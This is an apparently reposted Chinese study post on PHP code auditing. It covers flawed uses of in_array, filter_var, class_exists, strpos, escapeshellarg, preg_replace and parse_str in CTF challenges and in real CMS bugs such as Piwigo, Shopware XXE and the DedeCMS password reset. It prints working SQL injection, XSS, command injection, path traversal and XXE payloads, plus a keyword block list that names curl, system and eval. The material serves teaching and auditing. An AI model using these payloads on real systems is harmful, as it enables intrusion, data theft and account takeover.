龙空技术网

php代码审计学习之函数缺陷(一)

安全道 67

前言:

现在各位老铁们对“phpclassnotfound”大致比较关怀,小伙伴们都想要分析一些“phpclassnotfound”的相关文章。那么小编同时在网络上搜集了一些对于“phpclassnotfound””的相关内容,希望我们能喜欢,大家一起来学习一下吧!

in_array函数缺陷Wish ListCode

class Challenge {  const UPLOAD_DIRECTORY = './solutions/';  private $file;  private $whitelist;  public function __construct($file) {    $this->file = $file;    $this->whitelist = range(1, 24);  }  public function __destruct() {    if (in_array($this->file['name'], $this->whitelist)) {      move_uploaded_file(        $this->file['tmp_name'],        self::UPLOAD_DIRECTORY . $this->file['name']      );    }  }}$challenge = new Challenge($_FILES['solution']);
代码理解

代码为一个文件上传的代码,如果文件名存在于1-24中,则上传文件

in_array函数

in_array检查数组中是否存在某个值
题解

php弱类型比较时,6php会转换为6,6在1-24中间,所以可以进行上传

piwigo2.7.1实例分析环境搭建漏洞分析于picture.php:332中

case 'rate' :    {      include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');      rate_picture($page['image_id'], $_POST['rate']);      redirect($url_self);    }

当case为rate时,将变量rate和变量imageid传入functionsrate.inc.php文件中的rate_picture函数

include/functions_rate.inc.php:38

or !in_array($rate, $conf['rate_items']))

查找变量rate是否存在于$conf['rate_items']当中

$conf['rate_items']
直接将rate进行了拼接
$query = 'INSERT  INTO '.RATE_TABLE.'  (user_id,anonymous_id,element_id,rate,date)  VALUES  ('    .$user['id'].','    .'\''.$anonymous_id.'\','    .$image_id.','    .$rate    .',NOW());';  pwg_query($query);  return update_rating_score($image_id);}$query = 'INSERT  INTO '.RATE_TABLE.'  (user_id,anonymous_id,element_id,rate,date)  VALUES  ('    .$user['id'].','    .'\''.$anonymous_id.'\','    .$image_id.','    .$rate    .',NOW());';  pwg_query($query);  return update_rating_score($image_id);}

只要rate为array(0,1,2,3,4,5)便可以进行绕过,而in_array第三位未设置为true

payload

1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 
sqlmapCTF环境搭建stop_hack函数
function stop_hack($value){    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";    $back_list = explode("|",$pattern);    foreach($back_list as $hack){        if(preg_match("/$hack/i", $value))            die("$hack detected!");    }    return $value;}

stop_hack用来过滤一些危险函数

注入

获取get的ID,通过stop_hack进行过滤并拼接到sql语句中进行查询

报错注入payload

and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
参考
filter_var函数缺陷Twig
// composer require "twig/twig"require 'vendor/autoload.php';class Template {  private $twig;  public function __construct() {    $indexTemplate = '<img ' .      'src=";>' .      '<a href="{{link|escape}}">Next slide »</a>';    // Default twig setup, simulate loading    // index.html file from disk    $loader = new Twig\Loader\ArrayLoader([      'index.html' => $indexTemplate    ]);    $this->twig = new Twig\Environment($loader);  }  public function getNexSlideUrl() {    $nextSlide = $_GET['nextSlide'];    return filter_var($nextSlide, FILTER_VALIDATE_URL);  }  public function render() {    echo $this->twig->render(      'index.html',      ['link' => $this->getNexSlideUrl()]    );  }}(new Template())->render();

使用escape和filter_var进行过滤

escape

默认是使用了htmlspecialchars方法进行过滤,

filter_var

使用特定的过滤器过滤一个变量mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
htmlspecialchars转义
& (& 符号)  ===============  &" (双引号)  ===============  "' (单引号)  ===============  '< (小于号)  ===============  <> (大于号)  ===============  >

默认只过滤双引号,不过滤单引号,只有设置了:quotestyle 选项为ENT_QUOTES才会过滤单引号

payload

javascript://comment%250aalert(1)
anchor-cms环境搭建源码分析themes/default/404.php:9anchor/functions/helpers.php:34 current_url()函数
function current_url() {    return Uri::current();}
system/uri.php:84
public static function current() {        if(is_null(static::$current)) static::$current = static::detect();        return static::$current;    }
detect 方法
public static function detect() {        // create a server object from global        $server = new Server($_SERVER);        $try = array('REQUEST_URI', 'PATH_INFO', 'ORIG_PATH_INFO');        foreach($try as $method) {            // make sure the server var exists and is not empty            if($server->has($method) and $uri = $server->get($method)) {                // apply a string filter and make sure we still have somthing left                if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {                    // make sure the uri is not malformed and return the pathname                    if($uri = parse_url($uri, PHP_URL_PATH)) {                        return static::format($uri, $server);                    }                    // woah jackie, we found a bad'n                    throw new ErrorException('Malformed URI');                }            }        }        throw new OverflowException('Uri was not detected. Make sure the REQUEST_URI is set.');    }

关键代码

if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {                    // make sure the uri is not malformed and return the pathname                    if($uri = parse_url($uri, PHP_URL_PATH)) {                        return static::format($uri, $server);                    }                    // woah jackie, we found a bad'n                    throw new ErrorException('Malformed URI');
system/uri.php:126
    public static function format($uri, $server) {        // Remove all characters except letters,        // digits and $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=.        $uri = filter_var(rawurldecode($uri), FILTER_SANITIZE_URL);        // remove script path/name        $uri = static::remove_script_name($uri, $server);        // remove the relative uri        $uri = static::remove_relative_uri($uri);        // return argument if not empty or return a single slash        return trim($uri, '/') ?: '/';    }

没有对xss进行过滤

payload

CTF环境搭建flag.php
<?php  $flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"?>
index.php
<?php $url = $_GET['url']; // 获取urlif(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){  //过滤url    $site_info = parse_url($url);    if(preg_match('/sec-redclub.com$/',$site_info['host'])){ //以sec-redclub.com结尾        exec('curl "'.$site_info['host'].'"', $result);        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>              <center><textarea rows='20' cols='90'>";        echo implode(' ', $result);    } //命令执行    else{        die("<center><h1>Error: Host not allowed</h1></center>");    }}else{    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>          <center><h3>For example:?url=;/h3></center>";}?>
payload
syst1m://"|ls;"sec-redclub.comsyst1m://"|cat<f1agi3hEre.php;"sec-redclub.com
实例化任意对象漏洞Snow Flakecode
function __autoload($className) { //自动加载  include $className;}$controllerName = $_GET['c'];$data = $_GET['d'];  //获取get的c与d作为类名与参数if (class_exists($controllerName)) {  $controller = new $controllerName($data['t'], $data['v']);  $controller->render();} else {  echo 'There is no page with this name';}class HomeController {  private $template;  private $variables;  public function __construct($template, $variables) {    $this->template = $template;    $this->variables = $variables;  }  public function render() {    if ($this->variables['new']) {      echo 'controller rendering new response';    } else {      echo 'controller rendering old response';    }  }}

如果存在如果程序存在 _autoload函数,classexists函数就会自动调用方法

payload

/?c=../../../../etc/passwd
Shopware 5.3.3 (XXE)环境搭建代码分析漏洞触发点打断点engine/Shopware/Controllers/Backend/ProductStream.php:52engine/Shopware/Controllers/Backend/ProductStream.php:63

使用$this->Request()->getParam('sort')获取sort,然后进入RepositoryInterface类的unserialize方法

engine/Shopware/Components/LogawareReflectionHelper.php:56

调用的是LogawareReflectionHelper类的unserialize方法

$serialized为传入的sort变量,遍历取出className,传入createInstanceFromNamedArguments方法

engine/Shopware/Components/ReflectionHelper.php:40

新建一个反射类,并传入参数,类名与参数都为sort中的,而sort可控

发送到burp修改payload

/test/backend/ProductStream/loadPreview?_dc=1583825465339&sort={"data":";,"options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions={}&shopId=1¤cyId=1&customerGroupKey=EK&page=1&start=0&limit=25
测试参考
CTFcode
<?phpclass NotFound{    function __construct()    {        die('404');    }}spl_autoload_register(    function ($class){        new NotFound();    });$classname = isset($_GET['name']) ? $_GET['name'] : null;$param = isset($_GET['param']) ? $_GET['param'] : null;$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;if(class_exists($classname)){    $newclass = new $classname($param,$param2);    var_dump($newclass);    foreach ($newclass as $key=>$value)        echo $key.'=>'.$value.'<br>';}

当classexists时,调用autoload方法,但是autoload方法不存在,新建了一个splautoloadregister方法,类似_autoload方法

列出文件(GlobIterator类)

public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

第一个参数为要搜索的文件名,第二个参数为第二个参数为选择文件的哪个信息作为键名

payload

¶m=./*.php¶m2=0
读取flag
¶m=%3C?xml%20version=%221.0%22?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20xxe%20SYSTEM%20%22php://filter/read=convert.base64-encode/resource=f1agi3hEre.php%22%3E]%3E%3Cx%3E%26xxe;%3C/x%3E¶m2=2
参考
strpos使用不当引发漏洞False Beardcode
class Login {  public function __construct($user, $pass) {    $this->loginViaXml($user, $pass);  }  public function loginViaXml($user, $pass) {    if (      (!strpos($user, '<') || !strpos($user, '>')) &&      (!strpos($pass, '<') || !strpos($pass, '>'))    ) {      $format = '<?xml version="1.0"?>' .        '<user v="%s"/><pass v="%s"/>';      $xml = sprintf($format, $user, $pass);      $xmlElement = new SimpleXMLElement($xml);      // Perform the actual login.      $this->login($xmlElement);    }  }}new Login($_POST['username'], $_POST['password']);
strpos
主要是用来查找字符在字符串中首次出现的位置。

查找代码中是否含有<与>的特殊符号,strpos在没找到指定字符时会返回flase,如果第一个字符找到就返回0,0的取反为1,就可以注入xml进行注入了

payload

user=<"><injected-tag property="&pass=<injected-tag>
DeDecms V5.7SP2任意密码重置漏洞环境搭建开启会员登陆并且注册两个会员member/resetpassword.php:75 漏洞触发点
else if($dopost == "safequestion"){    $mid = preg_replace("#[^0-9]#", "", $id);    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";    $row = $db->GetOne($sql);    if(empty($safequestion)) $safequestion = '';    if(empty($safeanswer)) $safeanswer = '';    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)    {        sn($mid, $row['userid'], $row['email'], 'N');        exit();    }    else    {        ShowMsg("对不起,您的安全问题或答案回答错误","-1");        exit();    }}

将传入的mid进行查询,查询用户查询对应用户的安全问题、安全答案、用户id、电子邮件等信息,然后当安全问题和答案不为空且等于之前的设置的问题和答案的时候,进入sn函数

查看数据表

当没设置问题答案时,safequestion为0,safeanswer为null,语句变为了

if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)$row['safequestion'] == 0 $row['safeanswer'] == nullif ('0' == ''& null == ''){    sn()} if(false && true)
member/inc/incpwdfunctions.php:150member/inc/incpwdfunctions.php:73

进入newmail函数

如果$send == 'N'则发送重置邮件

sendmail($mailto,$mailtitle,$mailbody,$headers);
/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval
member/resetpassword.php:96

如果$id为空则退出,如果row不为空,则执行

    if(empty($setp))    {        $tptim= (60*60*24*3);        $dtime = time();        if($dtime - $tptim > $row['mailtime'])        {            $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");            ShowMsg("对不起,临时密码修改期限已过期","login.php");            exit();        }        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");    }
member/templets/resetpassword2.htm:95
<input type="hidden" name="dopost" value="getpasswd"><input type="hidden" name="setp" value="2"><input type="hidden" name="id" value="<?php echo $id;?>" />

将setp的属性设置为2

member/resetpassword.php:123

elseif($setp == 2)     {        if(isset($key)) $pwdtmp = $key;        $sn = md5(trim($pwdtmp));        if($row['pwd'] == $sn)        {            if($pwd != "")            {                if($pwd == $pwdok)                {                    $pwdok = md5($pwdok);                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";                    $db->executenonequery($sql);                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";                    if($db->executenonequery($sql))                    {                        showmsg('更改密码成功,请牢记新密码', 'login.php');                        exit;                    }                }            }            showmsg('对不起,新密码为空或填写不一致', '-1');            exit;        }        showmsg('对不起,临时密码错误', '-1');        exit;    }

如果key等于$row['pwd'],则重置密码成功

漏洞验证访问重置密码链接获取key

member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=3
重置密码
member/resetpassword.php?dopost=getpasswd&id=3&key=VeRkLvEU
CTF环境搭建buy.php
<script type="text/javascript" src="js/buy.js"></script>
bug.js
function buy(){    $('#wait').show();    $('#result').hide();    var input = $('#numbers')[0];    if(input.validity.valid){        var numbers = input.value;        $.ajax({          method: "POST",          url: "api.php",          dataType: "json",          contentType: "application/json",           data: JSON.stringify({ action: "buy", numbers: numbers })        }).done(function(resp){            if(resp.status == 'ok'){                show_result(resp);            } else {                alert(resp.msg);            }        })    } else {        alert('invalid');    }    $('#wait').hide();}

将用户提交的数字传入到api.php的buy函数

api.php

    for($i=0; $i<7; $i++){        if($numbers[$i] == $win_numbers[$i]){            $same_count++;        }    }

由于是==,可进行弱类型比较,传入7个true

payload

[true,true,true,true,true,true,true]
购买flagescapeshellarg与escapeshellcmd使用不当

escapeshellcmd: 除去字串中的特殊符号 escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数

postcardcode

class Mailer {  private function sanitize($email) {    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {      return '';    }    return escapeshellarg($email);  }  public function send($data) {    if (!isset($data['to'])) {      $data['to'] = 'none@ripstech.com';    } else {      $data['to'] = $this->sanitize($data['to']);    }    if (!isset($data['from'])) {      $data['from'] = 'none@ripstech.com';    } else {      $data['from'] = $this->sanitize($data['from']);    }    if (!isset($data['subject'])) {      $data['subject'] = 'No Subject';    }    if (!isset($data['message'])) {      $data['message'] = '';    }    mail($data['to'], $data['subject'], $data['message'],      '', "-f" . $data['from']);  }}$mailer = new Mailer();$mailer->send($_POST);

新建一个MAil类进行邮件发送

Php内置函数mail

bool mail (    string $to , 接收人    string $subject , 邮件标题    string $message [, 征文    string $additional_headers [, 额外头部    string $additional_parameters ]] 额外参数)
Linux中的额外参数
-O option = valueQueueDirectory = queuedir 选择队列消息-X logfile这个参数可以指定一个目录来记录发送邮件时的详细日志情况。-f from email这个参数可以让我们指定我们发送邮件的邮箱地址。
举个例子(原文图)结果
17220 <<< To: Alice@example.com 17220 <<< Subject: Hello Alice! 17220 <<< X-PHP-Originating-Script: 0:test.php 17220 <<< CC: somebodyelse@example.com 17220 <<< 17220 <<< <?php phpinfo(); ?> 17220 <<< [EOF]
filtervar()问题(FILTERVALIDATE_EMAIL)

filtervar() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filterval() 使其认为我们仍然在双引号中,这样我们就可以绕过检测。

”aaa’aaa”@example.com
escapeshellcmd() 和 escapeshellarg()(会造成特殊字符逃逸)逃逸过程分析
$param = "127.0.0.1' -v -d a=1";$a = escapeshellcmd($param);$b = escapeshellarg($a);$cmd = "curl".$b;var_dump($a)."\n";var_dump($b)."\n";var_dump($cmd)."\n";system($cmd);

传入127.0.0.1' -v -d a=1,escapeshellarg首先进行转义,处理为'127.0.0.1'\'' -v -d a=1',接着escapeshellcmd处理,处理结果为'127.0.0.1'\'' -v -d a=1\',\ 被解释成了 \ 而不再是转义字符

参考

正则使用不当导致的路径穿越问题Frost Patterncode
class TokenStorage {  public function performAction($action, $data) {    switch ($action) {      case 'create':        $this->createToken($data);        break;      case 'delete':        $this->clearToken($data);        break;      default:        throw new Exception('Unknown action');    }  }  public function createToken($seed) {    $token = md5($seed);    file_put_contents('/tmp/tokens/' . $token, '...data');  }  public function clearToken($token) {    $file = preg_replace("/[^a-z.-_]/", "", $token);    unlink('/tmp/tokens/' . $file);  }}$storage = new TokenStorage();$storage->performAction($_GET['action'], $_GET['data']);
preg_replace(函数执行一个正则表达式的搜索和替换)payload
$action =delete$data = ../../config.php
WeEngine0.8web/source/site/category.ctrl.php:176

file_delete文件删除函数

framework/function/file.func.php:294

查看file_delete函数

追朔$file变量从何而来

if (!empty($navs)) {        foreach ($navs as $row) {            file_delete($row['icon']);        }
追朔$navs从何而来
    $navs = pdo_fetchall("SELECT icon, id FROM ".tablename('site_nav')." WHERE id IN (SELECT nid FROM ".tablename('site_category')." WHERE id = {$id} OR parentid = '$id')", array(), 'id');
web/source/site/category.ctrl.php:137web/source/site/category.ctrl.php:130

$nav['icon'] 即为文件删除函数的参

parse_str函数缺陷parse_str

parse_str的作用就是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量。
preg_replace函数之命令执行Candlecode
header("Content-Type: text/plain");function complexStrtolower($regex, $value) {  return preg_replace(    '/(' . $regex . ')/ei',    'strtolower("\\1")',    $value  );}foreach ($_GET as $regex => $value) {  echo complexStrtolower($regex, $value) . "\n";}
preg_replace(函数执行一个正则表达式的搜索和替换)
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

$pattern 存在 /e 模式修正符,允许代码执行 /e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行

将GET请求传过来的参数通过complexStrtolower函数执行,preg_replace函数存在e修正符

payload

\S*=${phpinfo()} 
参考

深入研究preg_replace与代码执行

CmsEasy 5.5环境搭建漏洞分析lib/tool/form.php:90

如果$form[$name]['default']内容被匹配到就会执行eval

cache/template/default/manage/#guestadd.php:175

全局搜索getform,主要注意catid是作为$name的

lib/table/archive.php:25

追朔catid,寻找到default

lib/tool/front_class.php:2367lib/tool/front_class.php:493lib/tool/front_class.php:332

$form[$name]['default']可控

lib/default/manage_act.php:29测试Tips整理in_array

第三个参数未设置为true,可利用弱类型比较绕过
filter_var(url过滤)
未对协议进行校验,可利用xxx://绕过
class_exists
当存在__autoload函数,会自动调用,如果类名可控,可造成危害,如果参数也可控,可利用内部函数进行攻击。
strpos
strpos在没找到指定字符时会返回flase,如果第一个字符找到就返回0
filtervar (FILTERVALIDATE_EMAIL)
filter_var() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filter_val() 使其认为我们仍然在双引号中,这样我们就可以绕过检测。”aaa’aaa”@example.com
escapeshellarg与escapeshellcmd
escapeshellarg与escapeshellcmd配合使用会存在绕过
parse_str
parse_str的作用就是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量
preg_replace
$pattern 存在 /e 模式修正符,允许代码执行/e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行
extract
从数组中将变量导入到当前的符号表
readfile
可利用 ../http/../../ 跳过目录(如检测关键字https是否存在)
截断
%00 遇到遇到函数过滤会成为\0
反序列化

PHP 反序列化漏洞学习

htmlentities

将字符转换为 HTML 转义字符

ENT_COMPAT(默认值):只转换双引号。 ENT_QUOTES:两种引号都转换。 ENT_NOQUOTES:两种引号都不转换。

$SERVER['REQUESTURI']

获取的参数是不会将参数中的特殊符号进行转换
HPP
id=1&id=2 只会接收第二个参数
md5(计算字符串的 MD5 散列值)
string md5 ( string $str [, bool $raw_output = false ] )

在md5方法中,如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。

eregi截断漏洞

ereg可用%00截断,要求php<5.3.4

ereg编码%00时发生截断,不会检查%00后面的字符(%00算作1个字符)
ssrf

us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages

标签: #phpclassnotfound #php 检查数组中是否存在某个值 #php 检查数组中是否存在某个值的函数 #php弱类型比较漏洞